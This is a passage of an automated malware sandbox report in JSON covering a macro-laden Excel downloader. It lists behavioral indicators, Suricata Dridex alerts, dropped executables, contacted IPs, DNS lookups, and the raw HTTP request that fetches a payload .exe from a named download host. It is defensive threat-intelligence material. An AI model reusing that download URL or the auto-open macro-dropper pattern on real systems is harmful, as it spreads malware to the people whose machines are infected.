Call","relevance":5,"id":"api-51","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"$28","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Heuristic match: \"macmillan.com\"\n Heuristic match: \"lapelsbadges.com\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"level":"informative","category":"System Security","name":"Hooks API calls","description":"\"VariantChangeType@OLEAUT32.DLL\" in \"EXCEL.EXE\"\n \"OleLoadFromStream@OLE32.DLL\" in \"EXCEL.EXE\"\n \"SysAllocStringByteLen@OLEAUT32.DLL\" in \"EXCEL.EXE\"\n \"SysFreeString@OLEAUT32.DLL\" in \"EXCEL.EXE\"\n \"VariantClear@OLEAUT32.DLL\" in \"EXCEL.EXE\"","origin":"Hook Detection","relevance":10,"id":"hooks-0","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"level":"informative","category":"System Security","name":"Queries sensitive IE security settings","description":"\"EXCEL.EXE\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"level":"informative","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$29","origin":"Hook Detection","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"\"EXCEL.EXE\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"EXCEL.EXE\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000401\")\n \"EXCEL.EXE\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"0000040D\")\n \"EXCEL.EXE\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"0000041E\")\n \"EXCEL.EXE\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"0000042A\")\n \"EXCEL.EXE\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000439\")\n \"EXCEL.EXE\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000420\")\n \"EXCEL.EXE\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000429\")","origin":"Registry Access","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"level":"suspicious","category":"Exploit/Shellcode","name":"Found URL in decoded VBA string","description":"Heuristic match: \"macmillan.com\"","origin":"File/Memory","relevance":10,"id":"string-18","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Writes data to a remote process","description":"\"EXCEL.EXE\" wrote 32 bytes to a remote process \"%WINDIR%\\System32\\ntvdm.exe\" (Handle: 2016)\n \"EXCEL.EXE\" wrote 52 bytes to a remote process \"%WINDIR%\\System32\\ntvdm.exe\" (Handle: 2016)\n \"EXCEL.EXE\" wrote 4 bytes to a remote process \"%WINDIR%\\System32\\ntvdm.exe\" (Handle: 2016)\n \"EXCEL.EXE\" wrote 1500 bytes to a remote process \"%PROGRAMFILES%\\COMMON~1\\MICROS~1\\DW\\DW20.EXE\" (Handle: 1504)","origin":"API Call","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"level":"suspicious","category":"Network Related","name":"Uses a User Agent typical for browsers, although no browser was ever launched","description":"Found user agent(s): Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)","origin":"Network Traffic","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Contains embedded VBA macros with interesting strings","description":"Found pattern type \"Executable file name\" with value: \"Shell.Application\"\n Found pattern type \"E-mail address\" with value: \"workflows@macmillan.com\"\n Found pattern type \"Executable file name\" with value: \"macmillan.com\"","origin":"Static Parser","relevance":10,"id":"static-16","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Contains embedded VBA macros with suspicious keywords","description":"$2a","origin":"Static Parser","relevance":10,"id":"static-15","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"level":"malicious","category":"External Systems","name":"Detected Emerging Threats Alert","description":"Detected alert \"ET CURRENT_EVENTS Potential W32/Dridex Alphanumeric Download Pattern\" (SID: 2021607, Rev: 6, Severity: 1) categorized as \"A Network Trojan was detected\" (Phishing, Exploit Kits)\n Detected alert \"ET CURRENT_EVENTS Possible Malicious Macro DL EXE Feb 2016\" (SID: 2022550, Rev: 15, Severity: 1) categorized as \"A Network Trojan was detected\" (Phishing, Exploit Kits)\n Detected alert \"ET CURRENT_EVENTS Possible Malicious Macro EXE DL AlphaNumL\" (SID: 2022566, Rev: 5, Severity: 1) categorized as \"A Network Trojan was detected\" (Phishing, Exploit Kits)","origin":"Suricata Alerts","relevance":10,"id":"suricata-2","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"40/53 Antivirus vendors marked sample as malicious (75% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"40/53 Antivirus vendors marked sample as malicious (75% detection rate)\n 3/41 Antivirus vendors marked sample as malicious (7% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"level":"malicious","category":"General","name":"Document spawns new processes","description":"Document spawned a new process (macro present)","origin":"Indicator Combinations","relevance":7,"id":"summary-3","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"level":"malicious","category":"General","name":"GETs files from a webserver","description":"\"GET /8i65h4g53/o97i76u54.exe HTTP/1.1\nAccept: */*\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)\nHost: lapelsbadges.com\nConnection: Keep-Alive\"","origin":"Network Traffic","relevance":10,"id":"network-16","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"level":"malicious","category":"Network Related","name":"Malicious artifacts seen in the context of a contacted host","description":"$2b","origin":"Network Traffic","relevance":10,"id":"network-21","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Contains embedded VBA macros with keywords that indicate auto-execute behavior","description":"Found keyword \"Workbook_Open\" which indicates: \"Runs when the Excel Workbook is opened\"","origin":"Static Parser","relevance":10,"id":"static-14","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Document analysis contacts a domain","description":"Often seen on documents with macro droppers\n embedded files or exploits","origin":"Indicator Combinations","relevance":3,"id":"summary-1","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 213.171.218.10 on port 80 is sent without HTTP header\n TCP traffic to 128.177.96.51 on port 80 is sent without HTTP header","origin":"Network Traffic","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Document contacts a domain","description":"This kind of behavior is often seen on document exploits or macros utilized as a dropper","origin":"Indicator Combinations","relevance":3,"id":"summary-1","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"level":"informative","category":"External Systems","name":"Sample was identified as clean by Antivirus engines","description":"0/13 Antivirus vendors marked sample as malicious (0% detection rate)","origin":"External System","relevance":10,"id":"avtest-1","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"level":"informative","category":"Installation/Persistance","name":"Found a string that may be used as part of an injection method","description":"\"Shell_TrayWnd\" (Taskbar window class may be used to inject into explorer with the SetWindowLong method)","origin":"File/Memory","mitre_attack_id":"T1055","relevance":4,"id":"string-4","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"level":"suspicious","category":"General","name":"POSTs files to a webserver","description":"\"POST /GTSGIAG3 HTTP/1.1Host: ocsp.pki.googUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Length: 75Content-Type: application/ocsp-requestConnection: keep-alive\" with no payload","origin":"Network Traffic","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"level":"malicious","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET CURRENT_EVENTS Potential W32/Dridex Alphanumeric Download Pattern\" (SID: 2021607, Rev: 6, Severity: 1) categorized as \"A Network Trojan was detected\" (Phishing, Exploit Kits)\n Detected alert \"ET CURRENT_EVENTS Possible Malicious Macro DL EXE Feb 2016\" (SID: 2022550, Rev: 17, Severity: 1) categorized as \"A Network Trojan was detected\" (Phishing, Exploit Kits)\n Detected alert \"ET CURRENT_EVENTS Possible Malicious Macro EXE DL AlphaNumL\" (SID: 2022566, Rev: 5, Severity: 1) categorized as \"A Network Trojan was detected\" (Phishing, Exploit Kits)","origin":"Suricata Alerts","relevance":10,"id":"suricata-2","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"level":"malicious","category":"Network Related","name":"Found more than one unique User-Agent","description":"Found the following User-Agents: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)\n Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0","origin":"Network Traffic","relevance":5,"id":"network-15","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"level":"malicious","category":"Network Related","name":"Multiple malicious artifacts seen in the context of different hosts","description":"$2c","origin":"Network Traffic","relevance":10,"id":"network-27","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"level":"malicious","category":"Network Related","name":"Uses network protocols on unusual ports","description":"TCP traffic to 52.138.148.89 on port 49179","origin":"Network Traffic","mitre_attack_id":"T1065","relevance":7,"id":"network-7","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00011870-00003360-64764-173-0040761D\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00011870-00003360-7831-173-0040761D","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.DLL at 00011870-00003360-64764-16-00403B34\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00011870-00003360-64764-17-00403050\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00011870-00003360-64764-203-00409E30\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00011870-00003360-64764-359-004067A8\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00011870-00003360-7831-16-00403B34\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00011870-00003360-7831-17-00403050\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00011870-00003360-7831-359-004067A8\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00011870-00003360-7831-203-00409E30","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"level":"suspicious","category":"Environment Awareness","name":"Possibly tries to evade analysis by sleeping many times","description":"\"EXCEL.EXE\" (Thread ID: 3132) slept \"220\" times (threshold: 200)","origin":"API Call","relevance":10,"id":"api-47","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Creates/touches files in windows directory","description":"$2d","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Drops executable files","description":"\"o97i76u54[1].exe\" has type \"PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows\"\n \"strname.exe\" has type \"PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows\"\n \"carved_0.exe\" has type \"PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows\"","origin":"Binary File","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"level":"malicious","category":"General","name":"The input sample dropped a file that was identified as malicious","description":"1/54 Antivirus vendors marked dropped file \"o97i76u54[1].exe\" as malicious (classified as \"QVM10.1.Malware\" with 1% detection rate)\n 1/54 Antivirus vendors marked dropped file \"strname.exe\" as malicious (classified as \"QVM10.1.Malware\" with 1% detection rate)\n 1/54 Antivirus vendors marked dropped file \"carved_0.exe\" as malicious (classified as \"QVM10.1.Malware\" with 1% detection rate)","origin":"Binary File","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"level":"malicious","category":"Installation/Persistance","name":"Allocates virtual memory in foreign process","description":"\"EXCEL.EXE\" allocated memory in \"C:\\Users\\PSPUBWS\\AppData\\Local\\Temp\\strname.exe\"","origin":"API Call","relevance":7,"id":"api-20","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"level":"malicious","category":"Installation/Persistance","name":"Writes a PE file header to disc","description":"\"EXCEL.EXE\" wrote 770 bytes starting with PE header signature to file \"C:\\Users\\PSPUBWS\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\S9Y0GKU4\\o97i76u54[1].exe\": 4d5a90000300000004000000ffff0000b8000000000000004000000000000000000000000000000000000000000000000000 ...\n \"EXCEL.EXE\" wrote 2048 bytes starting with PE header signature to file \"\\Device\\HarddiskVolume2\\Users\\PSPUBWS\\AppData\\Local\\Temp\\strname.exe\": 4d5a90000300000004000000ffff0000b8000000000000004000000000000000000000000000000000000000000000000000 ...","origin":"API Call","relevance":1,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]}],"incidents":[{"name":"Persistence","details_count":1,"details":[{"detail":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"name":"Remote Access","details_count":1,"details":[{"detail":"Uses network protocols on unusual ports"}],"sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"name":"Spyware","details_count":1,"details":[{"detail":"POSTs files to a webserver"}],"sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]}]},"activity":{"stats":{"process_count":2,"spawned_processes_count":2,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":58,"imported_dlls_count":219,"dropped_files_count":0,"extracted_files_count":11,"files_written_count":228,"files_deleted_count":0,"registry_keys_created_count":0,"registry_keys_modified_count":0,"registry_keys_deleted_count":208,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":208,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":13,"dns_resolutions_count":10,"contacted_urls_count":4,"http_requests_count":4},"behavior_tags":["adnel","crypt","donoff","downloader","pemalform","wanacrypt0r","wannacry","wannacrypt","wcry","macros-on-open"],"sample_flags":["Network Traffic","Extracted Files","Carved Files"],"sandbox_reports":[{"id":"5b97ba39bb53f006b423bf0c","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"W97M.Downloader","contacted_countries":["EU","GBR","ITA","USA"],"submit_name":"EDMUN11118_181859.xls","analysis_start_time":"2018-09-11T13:46:21+00:00","indicators_count":{"informative":15,"suspicious":8,"malicious":10},"tags":["Network Traffic","Extracted Files"],"is_in_unified_schema":true},{"id":"599a74437ca3e15e7e0d4144","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"W97M.Downloader","contacted_countries":["GBR"],"submit_name":"346af6c820e872b1a1b23d7760f3ec8c55431804f2b07bd59df55b88409aea75","analysis_start_time":"2017-08-21T07:49:34+00:00","indicators_count":{"informative":27,"suspicious":5,"malicious":9},"tags":["Network Traffic","Extracted Files","Carved Files"],"is_in_unified_schema":true},{"id":"564de7520e316dd350d4d776","environment_id":2,"environment_description":"Windows 7 64 bit (DE)","state":"SUCCESS","verdict":"malicious","threat_score":53,"malware_family":"LooksLike.Macro.Malware","contacted_countries":["GBR","USA"],"submit_name":"EDMUN11118_181859.xls","analysis_start_time":"2015-11-19T09:14:57+00:00","indicators_count":{"informative":7,"suspicious":5,"malicious":5},"tags":["Network Traffic","Extracted Files","Carved Files"],"is_in_unified_schema":true},{"id":"564dd0920e316dc02830b544","environment_id":4,"environment_description":"W7 32 bit 'Stealthy Mode'","state":"SUCCESS","verdict":"malicious","threat_score":96,"malware_family":"LooksLike.Macro.Malware","contacted_countries":["GBR","THA"],"submit_name":"EDMUN11118_181859.xls","analysis_start_time":"2015-11-19T07:37:43+00:00","indicators_count":{"informative":9,"suspicious":11,"malicious":9},"tags":["Network Traffic","Extracted Files","Carved Files"],"is_in_unified_schema":true},{"id":"564dd0920e316dc02830b542","environment_id":1,"state":"ERROR","error_type":"Failed to save report to webservice","verdict":"undetected","submit_name":"EDMUN11118_181859.xls","analysis_start_time":"2015-11-19T13:37:22+00:00","indicators_count":{"informative":0,"suspicious":0,"malicious":0},"is_in_unified_schema":false}],"network_activity":{"contacted_hosts":[{"address":"88.208.252.220","port":80,"protocol":"TCP","country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"address":"213.171.218.10","port":80,"protocol":"TCP","country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"address":"128.177.96.51","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"address":"5.178.43.43","port":80,"protocol":"TCP","country":"Italy","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"address":"52.11.224.203","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"address":"52.39.131.77","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"address":"143.204.192.66","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"address":"104.16.40.2","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"address":"216.58.213.138","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"address":"52.38.215.55","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"address":"143.204.192.8","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"address":"52.138.148.89","port":49179,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"address":"203.172.180.195","port":4493,"protocol":"TCP","country":"Thailand","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]}],"dns_resolutions":[{"domain":"lapelsbadges.com","address":"88.208.252.220","country":"United Kingdom","registrar_name":"TUCOWS, INC.","registrar_name_servers":"NS1.STREAMLINEDNS.CO.UK","registrar_creation_date":"2006-03-14T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"domain":"www.mozilla.org.cdn.cloudflare.net","address":"104.16.41.2","ttl":299,"country":"United States","registrar_organization":"CloudFlare, Inc.","registrar_name_servers":"NS1.CLOUDFLARE.NET","registrar_creation_date":"2009-02-17T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"domain":"shavar.prod.mozaws.net","address":"52.10.126.7","ttl":163,"country":"United States","registrar_name":"GANDI SAS","registrar_organization":"Mozilla","registrar_name_servers":"NS-1084.AWSDNS-07.ORG","registrar_creation_date":"2013-06-18T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"domain":"safebrowsing.googleapis.com","address":"172.217.18.202","ttl":299,"country":"United States","registrar_name":"MarkMonitor, Inc.","registrar_organization":"Google Inc.","registrar_creation_date":"2005-01-25T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"domain":"ocsp.pki.goog","address":"216.58.213.142","ttl":2067,"country":"United States","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"domain":"detectportal.firefox.com","address":"5.178.43.43","ttl":19,"country":"Italy","registrar_name":"MarkMonitor, Inc.","registrar_organization":"Mozilla Corporation","registrar_creation_date":"1998-10-06T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"domain":"dcky6u1m8u6el.cloudfront.net","address":"143.204.192.115","ttl":59,"country":"United States","registrar_name":"MarkMonitor, Inc.","registrar_organization":"Amazon.com, Inc.","registrar_creation_date":"2008-04-25T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"domain":"d1zkz3k4cclnv6.cloudfront.net","address":"52.85.224.237","ttl":34,"country":"United States","registrar_name":"MarkMonitor, Inc.","registrar_organization":"Amazon.com, Inc.","registrar_creation_date":"2008-04-25T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"domain":"cs9.wac.phicdn.net","address":"93.184.220.29","ttl":599,"country":"European Union","registrar_name":"MarkMonitor, Inc.","registrar_organization":"Verizon Trademark Services LLC","registrar_creation_date":"2014-11-14T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"domain":"a1089.d.akamai.net","address":"80.239.137.147","ttl":410,"country":"European Union","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]}],"http_requests":[{"host":"lapelsbadges.com","host_ip":"88.208.252.220:80","url":"/8i65h4g53/o97i76u54.exe","method":"GET","response_code":"404","response_phrase":"Not Found","header":"GET /8i65h4g53/o97i76u54.exe HTTP/1.1\nAccept: */*\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)\nHost: lapelsbadges.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"host":"","host_ip":"192.168.56.21:49166","url":"","method":"","response_code":"404","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"host":"detectportal.firefox.com","host_ip":"5.178.43.43:80","url":"/success.txt","method":"GET","header":"GET /success.txt HTTP/1.1\nHost: detectportal.firefox.com\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nCache-Control: no-cache\nPragma: no-cache\nConnection: keep-alive","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"host":"ocsp.pki.goog","host_ip":"216.58.213.142:80","url":"/GTSGIAG3","method":"POST","header":"POST /GTSGIAG3 HTTP/1.1\nHost: ocsp.pki.goog\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Length: 75\nContent-Type: application/ocsp-request\nConnection: keep-alive","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}],"processes":[{"pid":2796,"ppid":0,"name":"EXCEL.EXE","command_line":"/dde","sha256":"ead4783058efc1fca6e92266cca02ae8ab79105405775208167d280c14d98914","normalized_path":"%PROGRAMFILES%\\Microsoft 